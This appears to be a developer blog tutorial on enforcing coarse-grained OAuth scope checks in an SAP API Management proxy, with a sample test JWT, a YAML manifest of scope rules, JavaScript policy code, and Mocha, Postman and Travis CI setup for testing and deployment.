eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS1pZC0xIn0.eyJzY29wZSI6WyJIdHRwQmluLlJlYWQiLCJIdHRwQmluLkNyZWF0ZSJdLCJjaWQiOiJteS1jbGllbnQtaWQiLCJncmFudF90eXBlIjoiYXV0aG9yaXphdGlvbl9jb2RlIiwidXNlcl9pZCI6InRlc3QiLCJ1c2VyX25hbWUiOiJ0ZXN0QGV4YW1wbGUuY29tIiwiZXhwIjo5OTk5OTk5OTk5fQ.K8NQ9hTmSAOW3jcOUeDO6F91q6gPLY6RIWh-x_LN1XbAD3DL6qtxIvCOKV2kJgKDnx0GFTInlymMWxIwWUrKIoh_WIRHJYpEPLwpIqMYbXIz-8wRCVllehMdJAb8BZsXFSJFcPiS9o1bu5EFCXlfxN58f-fT-Z06Neg__tWTp5k It has three components separated by dots: the header, the body (containing the claims) and the signature (which is used to check that the token was truly issued by the authorization server). We are interested in the body for doing the coarse-grained access control. The header and the body are Base64 encoded JSON strings. Decoding the example token from above using jwt.io results in the following body: { "scope": ["HttpBin.Read", "HttpBin.Create"], "cid": "my-client-id", "grant_type": "authorization_code", "user_id": "test", "user_name": "test@example.com", "exp": 9999999999 } The Proxy Our example API Proxy will secure the “anything” endpoint of We want to have the following coarse-grained access control scopes: - HttpBin.Read: - GET - HttpBin.Create - PUT We store this information (scopes – access control rule mapping – we’ll call them “specs” from now on) into a key value map to be able to configure it more flexibly. Policies Our policy will have four main steps, modelled as individual policies: - [KeyValueMapOperations] readSpecs: Read the key value map containing the specs. - [ExtractVariable] extractToken: Extract the OAuth token from the header. - [JavaScript] checkScopes: Parse the OAuth token and check the scopes against the specs. - [RaiseFault] raiseFault: Respond with an error message if the check has failed. Specs We can already see that there will be two types of specs: exact ones (e.g. “POST /entities/search”) and “fuzzy” ones (e.g. “GET /entities/*”). For writing up the “fuzzy” ones, we simply go with a RegExp for specifying the URL. To cover tokens from authorization servers that auto-generate scope prefixes (like the XSUAA), I’ve decided to also allow for the possibility of using a RegExp for matching the scopes. As a result, each spec will have the following components: - The scope name. - A flag indicating if this name is exact. - An array of URL + verb patterns, each consisting of: - The HTTP verb (e.g. GET, POST) or the “*” wildcard. - An URL or a RegExp for it. - A flag indicating if the URL is exact (i.e. if it is not a RegExp). Manifest We will use the sapim library for deployment, so we can easily write the specs into a YAML manifest file. The library will take care of creating a key-value map out of it for us. We don’t really have any need for placeholders, so we won’t template the API Proxy files. The resulting manifest looks like the following: proxy: name: oauth- path: ./src/ templated: false maps: oauth- specs: - scope: HttpBin.Read exact: true patterns: - verb: GET url: ^/entities/?.*$ exact: false - verb: POST url: /entities/search exact: true - scope: HttpBin.Create exact: true patterns: - verb: POST url: /entities exact: true - verb: PUT url: ^/entities/.+$ exact: false JavaScript Let’s dig into the core logic of the API Proxy: the checkScopes JavaScript policy. It relies on a single .js file which does the following steps: - Parses the token and retrieves the scopes. - Parses the specs and retrieves all the other necessary information (like HTTP verb, url). - Checks if any spec matches the scopes. For parsing the token, we simply do the following: // note that atob needs to be polyfilled in the API Manager // also, HttpException is a custom made Error JS object function getScopesFromToken(token) { try { return JSON.parse(atob(token.split(".")[1])).scope || []; } catch (e) { throw new HttpException(403, "Forbidden", "OAuth token missing or malformed."); } } Then we need a helper function for checking there is at least one OAuth token scope matching a given spec: function scopeExists(spec, scopes) { for (var i = 0; i < scopes.length; ++i) { if (spec.exact ? scopes[i] === spec.scope : scopes[i].match(spec.scope)) { return true; } } return false; } We also need a couple of helper functions for checking if the request path and verb match the patterns of a spec: function patternMatches(pattern, verb, url) { return (pattern.verb === verb || pattern.verb === "*") && (pattern.exact ? pattern.url === url : url.match(pattern.url)); } function anyPatternMatches(patterns, verb, url) { for (var i = 0; i < patterns.length; ++i) { if (patternMatches(patterns[i], verb, url)) { return true; } } return false; } We can combine all of this and make a single function for checking the overall access control: function checkSecurity(specs, scopes, verb, url) { for (var i = 0; i < specs.length; ++i) { if (scopeExists(specs[i], scopes) && anyPatternMatches(specs[i].patterns, verb, url)) { return true; } } return false; } Finally, after combining this function with the specs retrieved from the key value map and the context variables, we obtain the main body of the JS policy: try { var specs = JSON.parse(context.getVariable("ro.spet.specs")), scopes = getScopesFromToken(context.getVariable("ro.spet.token")), verb = context.getVariable("request.verb"), url = context.getVariable("proxy.pathsuffix") || context.getVariable("request.path"); if (!checkSecurity(specs, scopes, verb, url)) { throw new HttpException(403, "Forbidden", "Missing necessary scopes."); } } catch (e) { context.setVariable("ro.spet.code", e.statusCode || 500); context.setVariable("ro.spet.phrase", e.statusText || "Internal Server Error"); context.setVariable("ro.spet.content", e.message); } Testing Unit Naturally, we want to test all the things that we implemented. Firstly, we unit test the checkScopes JavaScript policy locally. We use Mocha for building up the tests and we generate a simple hardcoded OAuth token to run all the tests with it. One of these tests looks like the following: it("should return forbidden for non-matching method", function () { var result = run({ "ro.spet.specs": JSON.stringify([{ scope: "MyApp.Read", exact: true, patterns: [{ verb: "GET", url: "/something", exact: true }] }]), "ro.spet.token": token, "request.verb": "POST", "proxy.pathsuffix": "/something/else" }); assert.deepEqual(result, { "ro.spet.code": 403, "ro.spet.phrase": "Forbidden", "ro.spet.content": "Missing necessary scopes." }); }); Integration We would also like to test the API Proxy on the API Management directly. Of course, this testing should also be automatic. Postman is a good tool for writing these kinds of tests using JavaScript: pm.test("Response status is Forbidden", function () { pm.response.to.have.status(403); }); pm.test("Response body is 'Missing necessary scopes.'", function () { pm.response.to.have.body("Missing necessary scopes."); }); We group our requests into a single postman collection. The base path of the API Proxy is specified as a Postman variable such that we can fill it in dynamically when running the tests. The newman library is a very convenient way of running the postman collection automatically. We also write a simple script to invoke it: require("sapim").default().getManifestUrl("proxy.yaml").then(function(url) { require("newman").run({ collection: require("../../postman.json"), globals: { values: [{ "key": "base-path", "value": url, "type": "text", "enabled": true }] }, reporters: ["cli"] }); }); Finishing Touches For convenience sake, we also write up some small npm scripts to run various operations more easily: - “test”: runs the Mocha tests. - “deploy”: deploys the API proxy using the sapim library. - “integration”: runs the Postman tests. - “build”: does all of the above. We also integrate our simple repository with Travis CI. First we include the following .travis.yml file: language: node_js node_js: '7' cache: directories: - node_modules script: - npm run build Then we go to the Travis settings, enable it for the repository and add environment variables for the sapim library: Now if we run a test build, we see that the unit tests are executed, then the proxy is deployed to the API Manager and lastly the integration tests are run. Awesome! Thanks for taking your time on documenting this!
https://blogs.sap.com/2018/04/02/coarse-grained-access-control-with-sap-api-management/
CC-MAIN-2022-21
refinedweb
1,598
57.77
I have set up my light box to load on first page the viewer see's. The registration button, email and password boxes that I have setup is registering new members, but the ".then" function is not redirecting. I had to do a direct link in the button settings to get it to go to the page I wanted. What I am trying to accomplish is, I would like to have the light box only pop up once per day, per visitor (Non-members). If they are members, I would prefer that the light box not pop up everyday, if the members account is stays logged in. I also tried to have the ".then" go to the users profile after registering or logging in. It goes to a "404" page wixLocation.to(' /profile '); This is the coded I have set now, import wixUsers from 'wix-users'; import wixLocation from 'wix-location'; $w.onReady(function (){ $w('#registerNow').onClick(function (){ let email = $w('#registerEmail').value; let password = $w('#registerPassword').value; wixUsers.register(email, password) .then(()=>{ wixLocation.to(''); }); }); }); export function registerNow_click(event) { wixLocation.to(''); } Any support would be greatly appreciated, wix support contact referred me here. My name is Chris and I am the owner of Hi, First, if you wish the lightbox replace the Wix Log-In built in system you need to edit your custom signup. As a result, if a visitor try to get to a member page only the lightbox will automatically pup up. *pay attention to cancel the automatically display. View this ticket in order to learn how to edit your custom signup system. Second, View this code, I believe it will solve the problem: Best of luck! Sapir You might want to add wix window to above to get it to close lightbox after user registers themselves, although that is probably already covered on the page that Sapir has linked for you. Below is the code for my own custom register login lightbox, works perfectly and closes after registering details before moving them onto a sign up status page, then both names will be saved in contacts and once site member is approved the member details will be added to my 'members' database. Change the URL ending to whatever page you want to send the user to after they log in, as in your case it would be: wixLocation.to("/account/my-account");
https://www.wix.com/corvid/forum/community-discussion/light-box-for-registration
CC-MAIN-2019-47
refinedweb
396
62.78
tensorflow:: ops:: QuantizeDownAndShrinkRange #include <math_ops.h> Convert the quantized 'input' tensor into a lower-precision 'output', using the. Summary actual distribution of the values to maximize the usage of the lower bit depth and adjusting the output min and max ranges accordingly. [input_min, input_max] are scalar floats that specify the range for the float interpretation of the 'input' data. For example, if input_min is -1.0f and input_max is 1.0f, and we are dealing with quint16 quantized data, then a 0 value in the 16-bit data should be interpreted as -1.0f, and a 65535 means 1.0f. This operator tries to squeeze as much precision as possible into an output with a lower bit depth by calculating the actual min and max values found in the data. For example, maybe that quint16 input has no values lower than 16,384 and none higher than 49,152. That means only half the range is actually needed, all the float interpretations are between -0.5f and 0.5f, so if we want to compress the data into a quint8 output, we can use that range rather than the theoretical -1.0f to 1.0f that is suggested by the input min and max. In practice, this is most useful for taking output from operations like QuantizedMatMul that can produce higher bit-depth outputs than their inputs and may have large potential output ranges, but in practice have a distribution of input values that only uses a small fraction of the possible range. By feeding that output into this operator, we can reduce it from 32 bits down to 8 with minimal loss of accuracy. Arguments: - )
https://www.tensorflow.org/versions/r1.15/api_docs/cc/class/tensorflow/ops/quantize-down-and-shrink-range?hl=el
CC-MAIN-2021-17
refinedweb
276
55.84
React doesn't automatically batch updates that you trigger in: - Native DOM event listeners (e.g., el.addEventListener()) - Async callbacks (e.g., promises, timeouts, intervals) Consider the following code: fetchProfile(userId) .then(({name, age}) => { setName(name); setAge(age); }); In the above example, React will re-render your UI tree twice! Try it on CodeSandbox. One way to fix this is to use a single state variable. fetchProfile(userId) .then(({name, age}) => { // now instead of using two state // variables, we just use one. setUserProfile({ name, age }); }); Another way is to wrap updates inside unstable_batchedUpdates callback. As the name suggests, this API will batch your updates in a single reconciliation pass, resulting in less component renders. Don't worry, the API is very stable despite the unstable_ prefix. The only thing to keep in mind is that the API is renderer-specific, meaning that on the web it should be imported from the react-dom package, not react. import {unstable_batchedUpdates} from 'react-dom'; // react-native import {unstable_batchedUpdates} from 'react-native'; Then, use it like so: unstable_batchedUpdates(() => { setName('John'); setAge(25); }); You might be thinking that this is pretty unintuitive and verbose. I sometimes wonder myself why this isn't automatic. The good news is that React will make it so in a future release, but we need to first opt-in to either Blocking Mode, or Concurrent Mode. In the meantime, try these workarounds! Discussion (0)
https://dev.to/raibima/batch-your-react-updates-120b
CC-MAIN-2021-31
refinedweb
234
57.06
Learn TensorFlow: Creating the Linear Regression Model in TensorFlow 2 Learn TensorFlow: Creating the Linear Regression Model in TensorFlow 2 In this article, take a look at how to create the linear regression model in TensorFlow 2. Join the DZone community and get the full member experience.Join For Free Introduction to TensorFlow 2 (TF 2) From TensorFlow Guide, there are major changes in TF 2: - API Cleanup: Removing redundant APIs such as tf.app, tf.flags, tf.logging - Eager Execution: Executing eagerly like Python - No more globals: Keeping track of your variables - Functions, not sessions: Can decorate a Python function using tf.function()to mark it for JIT compilation so that TensorFlow runs it as a single graph. Building Linear Regression in TF 2 In one of my older articles, I introduced the linear regression algorithm and how to create a simple linear regression model using TensorFlow 1.X. In this post, I will rebuild that model using TensorFlow 2.x as follows: xxxxxxxxxx import tensorflow as tf import numpy as np import matplotlib.pyplot as plt learning_rate = 0.01 # steps of looping through all your data to update the parameters training_epochs = 100 # the training set x_train = np.linspace(0, 10, 100) y_train = x_train + np.random.normal(0,1,100) w0 = tf.Variable(0.) w1 = tf.Variable(0.) def h(x): y = w1*x + w0 return y def squared_error(y_pred, y_true): return tf.reduce_mean(tf.square(y_pred - y_true)) # train model for epoch in range(training_epochs): with tf.GradientTape() as tape: y_predicted = h(x_train) costF = squared_error(y_predicted, y_train) # get gradients gradients = tape.gradient(costF, [w1,w0]) # compute and adjust weights w1.assign_sub(gradients[0]*learning_rate) w0.assign_sub(gradients[1]*learning_rate) plt.scatter(x_train, y_train) # plot the best fit line plt.plot(x_train, h(x_train), 'r') plt.show() The result will look like this: We note some changes: - declare variables ( tf.Variable) but don't need to use tf.global_variables_initializer, that means, TensorFlow 2.0 doesn’t make it mandatory to initialize variables. - train our model using t f.GradientTapeand we will use assign_subfor weight variables. - not require the session execution. Conclusion TensorFlow is a great platform for deep learning and machine learning and TF 2.0 focuses on simplicity and ease of use. In this post, I introduced some new changes in TF 2.0 by building simple linear regression models from scratch (don't use APIs such as Keras), and I hope you feel excited about it. Opinions expressed by DZone contributors are their own. {{ parent.title || parent.header.title}} {{ parent.tldr }} {{ parent.linkDescription }}{{ parent.urlSource.name }}
https://dzone.com/articles/learn-tensorflow-creating-the-linear-regression-mo
CC-MAIN-2020-24
refinedweb
428
50.73